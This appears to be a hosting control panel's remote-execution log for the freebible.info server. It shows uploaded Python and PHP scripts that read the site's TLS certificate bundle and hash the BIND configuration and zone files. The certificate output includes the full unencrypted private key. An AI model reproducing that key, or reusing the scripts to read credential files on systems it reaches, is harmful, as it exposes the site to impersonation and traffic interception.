    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-22 17:04:57: 

PUT: /tmp/pkp569373

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-22 17:04:58: 

chmod 755 /tmp/pkp569373; /tmp/pkp569373; rm /tmp/pkp569373

2026-07-22 17:04:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt	7436
e8:44:97:ca:4d:4e:37:54:bc:7f:e4:03:83:7a:d0:c1

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBb5azfpIwkUxSmcPvvqU+QqKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzIyMTYwNjI1WhcNMjYxMDIwMTYwNjI0WjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKhCQcmYYC8Sfl2D0qoJckXdWOQaAyoJIlpSPzavoHxd8A2C8wZsN7eGCkTfp/ac
NIYLU4M7t5OEaDGezQwAXJxGKNlE9o/jygrWtFGDgO954CqnRiZ4YCR8fC65STrL
SOXceKqIIwVib0rcNuUFlfRmGJTmwg9ZxuIdDx9FoIBb1eswAQySyjNT040y8SFb
rcjrj3mh06CTqHsw7g07NyiXz+KPWksUrb88vaRZsYVlLHx4C84UKMm8RNm8nfjw
VOShCpDqW7xNFtRQxdsmpoRsUK4uxvARlUJydVb1WhWy/K17gpwVKQlndpWlfeQB
M1+iyBTkY7ulK61fCePQ4l8CAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBR0Erhi
FnbIU+GPaPdpYg1Pj40oRzAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmZyZWViaWJsZS5pbmZvghJ3d3cuZnJlZWJpYmxl
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMi5jLmxlbmNyLm9yZy8xMS5jcmwwggEKBgorBgEEAdZ5AgQCBIH7BIH4
APYAdQDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ+KyZpcAAAE
AwBGMEQCIDo7oZNPfZBtTMFybZJyRNEywyV6Rr8IeBpWXRJG8YxdAiBwZ8PfSn34
W95yCCMa1f8OuNfNxkrguYDnmxNqp/gesgB9AKgmy+MKxjUSRlM/4GXxTxnZbhkI
E8Qd2W15ALMSPFUnAAABn4rJm98ACAAABQAViaL2BAMARjBEAiBD7wxwXtBCiCVi
9lxz+0kde/nNzeBi+Cx3dpuek4UP6QIgGgVqaHsrx42urV6aS4rdwvG+D/9HmNvb
d9NcPHtjRVAwDQYJKoZIhvcNAQELBQADggEBAEtOPIBUBnbrZmzhwTmshfSbj12L
09con5ndwV56o0/fuVF0feENpwzmsFn3iD/ypvSMsh2xcXeq2zK3my7MtuLM7wQi
fAJN+cbmQdHwiqIYoRtKuIhcd890lkqBAQzNAzZYMr6g9gXSUovcE/1l8fS3ncsT
7gdV838E2q+XWv40WbU1OpBqOX6MPfJFoIGqrUk3Y1IKT/mJO4tt+jNiHq/h5ksQ
MwUFait1D/DnlFT2jhzBnUBI9oRwp61C/DKGeBAedGEQpCcsRle/XKGQURm+CaVj
F6CwXJrSao1zVRuY+Viop/MdzG6YSpdUmsjs1vqEQT53+0S8C9ny0YUAYbk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCoQkHJmGAvEn5d
g9KqCXJF3VjkGgMqCSJaUj82r6B8XfANgvMGbDe3hgpE36f2nDSGC1ODO7eThGgx
ns0MAFycRijZRPaP48oK1rRRg4DveeAqp0YmeGAkfHwuuUk6y0jl3HiqiCMFYm9K
3DblBZX0ZhiU5sIPWcbiHQ8fRaCAW9XrMAEMksozU9ONMvEhW63I6495odOgk6h7
MO4NOzcol8/ij1pLFK2/PL2kWbGFZSx8eAvOFCjJvETZvJ348FTkoQqQ6lu8TRbU
UMXbJqaEbFCuLsbwEZVCcnVW9VoVsvyte4KcFSkJZ3aVpX3kATNfosgU5GO7pSut
Xwnj0OJfAgMBAAECggEAQw6892JCGyCMuipaYCgJoex4i9gOIMepKEQVK29NT6OE
k233+zxP7FWAbDiS0Ucp665B51B6dlFT0UrPv5O5VRLlHspMVcZb9HvjO4Vkcoyp
GXa3D4f0ETaHq3tuwv7Xm7yFXrmI85Fqd3RScG4MeG3kKBvbhZCrIdyg9T6jm+PX
1RSnyw6jEZoReAnPAQwAhKHpJivpHy+OHxLnIaURutB4lkKQdw1UNhk2t1pjdov5
mW5xxN4wdCKTSoqm1IpVzsy2iu/vmrF3hvmdoIvZ7VjR8ecN8s7yy1zffFgKkV7a
FYpAcS/PMgg8JuNSwgkO/8FUowLyDJJKSuBwyGCR4QKBgQDh2jJnKdC3f4faUnjz
eISyYTPH31iA7nvaPAIxXTaLFI/yxF2+IC58td5Ia8zHMN5tQezaGztv28N/EL51
gCFRkVGLbAEdL8fr6LDr5mE00ABdMoiFoZz9++0ccK2gYLpUrWR2sWsrQk5c4sCe
irW7DXcGDyzlsP6dPxrd7igpTwKBgQC+t/r0vJ32vye2hU/Im0ZUOmH4tNPmkR1j
rlQ5mYW2XGbJDCrwI5blgO5IraK8HiJ6cvMiiG/Q4/vlIOazMA/TVkPyh0gxp28Q
RrJXLQaoRsRsrcDviR4AGOYs/NPqCHbkeHJWApiorLVwY9oLpasUz22g6QNLgsgg
i/oEuhBR8QKBgQCiV7lLNl90xxLb99RBDiw0HHKgBQcVBle4ctIQsbP3HPyrwEKx
22gO9Jum6vXzaEk5t92MmW6L5SgNOfftdgB9JTu8QBI87I+EH2qs5piQ4cKhOyWv
CJBUcLXrb4MeeOj23PwN5VHncm3pjoRucb5XikI39MiNAkDCvw2M4Re1OQKBgAtY
sMJ8sj0q1DcEqWF6820xaAC+6VhvS7tRdMtUeeMGjkrpwWg2BdUznXmPcv4UIOL+
Eb79NQHNfn/8PB1u/5IIMNSt/bqOhooGWrfbAuliBG+eyrq1gqZo1NDaXdUvmbsv
+0VotCJc3BKKrj9BJPOA/7myAzMr3bIqAb7kPvJRAoGAK21mawERclLMr4XRX9J4
NxBOCFDvO8UADc9o5LAOfJjz8zHoCfKAD+dKA45dGSzAdbiGsfXpXxpVkl2fM/53
5j/pw7Wgmx87nivHGh4S8X/WvWujqDqbpaVqMNJYH55vMAZ29r4sUJbhQJ1Ni/1o
zfK535Pwqkhjove+nZRZCUI=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-22 17:05:33: Establishing a connection
2026-07-22 17:05:39: Establishing a connection
2026-07-22 17:05:39: 

PUT: /tmp/pkp342669

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-22 17:05:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp342669; rm /tmp/pkp342669'

2026-07-22 17:05:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
